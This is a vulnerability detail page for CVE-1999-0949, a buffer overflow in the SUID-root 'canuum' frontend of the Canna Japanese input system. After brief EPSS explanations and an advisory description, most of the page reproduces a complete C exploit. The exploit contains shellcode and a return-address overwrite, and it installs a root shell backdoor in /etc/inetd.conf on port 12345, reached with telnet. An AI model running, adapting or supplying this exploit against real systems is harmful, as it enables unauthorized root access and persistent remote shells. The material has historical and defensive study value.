CVE-1999-0949 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/758/info Canna is a Japanese input system available as free software. Canna provides a unified user interface for inputting Japanese. Canna supports Nemacs(Mule), kinput2 and canuum. All of these tools can be used by a single customization file, romaji-to-kana conversion rules and conversion dictionaries, and input Japanese in the same way. Canna converts kana to kanji based on a client-server model and supports automatic kana-to-kanji conversion. The Canna subsystem on certain UNIX versions contains a buffer overflow in the 'canuum' program. Canuum is a Japanese input tty frontend for Canna using uum. Certain versions have a buffer overflow via unchecked user supplied data in the -k,-c,-n options. Since this program is installed SUID root this attack will result in a root level compromise. /*============================================================================= canuum Exploit for Linux The Shadow Penguin Security (http://shadowpenguin.backsection.net) Written by UNYUN ([email protected]) ============================================================================= */ #include <stdio.h> #define RETADR 1676 #define MAXBUF 2000 #define JMP_OFS 0x200 #define NOP 0x90 #define SHELL "/tmp/pp" #define COMPILER "gcc" char exec[60]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff"; FILE *fp; unsigned long get_sp(void) { __asm__("movl %esp, %eax"); } main() { char buf[MAXBUF+1]; unsigned int i,ip,sp; sprintf(buf,"%s.c",SHELL); if ((fp=fopen(buf,"w"))==NULL){ printf("Can not write to %s\n",buf); exit(1); } fprintf(fp,"main(){setuid(0);setgid(0);"); fprintf(fp,"system(\"echo 12345 stream tcp nowait root /bin/sh sh -i"); fprintf(fp," >> /etc/inetd.conf; killall -HUP inetd\");}\n"); fclose(fp); sprintf(buf,"%s %s.c -o %s",COMPILER,SHELL,SHELL); system(buf); memset(buf,'a',MAXBUF); buf[MAXBUF]=0; strcat(exec,SHELL); memcpy(buf+300,exec,strlen(exec)); sp=get_sp(); ip=sp+JMP_OFS; printf("Jumping address = %x\n\n\n",ip); printf("Please execute following command after \"Segmentation Fault\"\n"); printf("\ntelnet localhost 12345\n\n\n"); buf[RETADR ]=ip&0xff; buf[RETADR+1]=(ip>>8)&0xff; buf[RETADR+2]=(ip>>16)&0xff; buf[RETADR+3]=(ip>>24)&0xff; execl("/usr/jp/canna/bin/canuum","canuum","-k",buf,(char *)0); }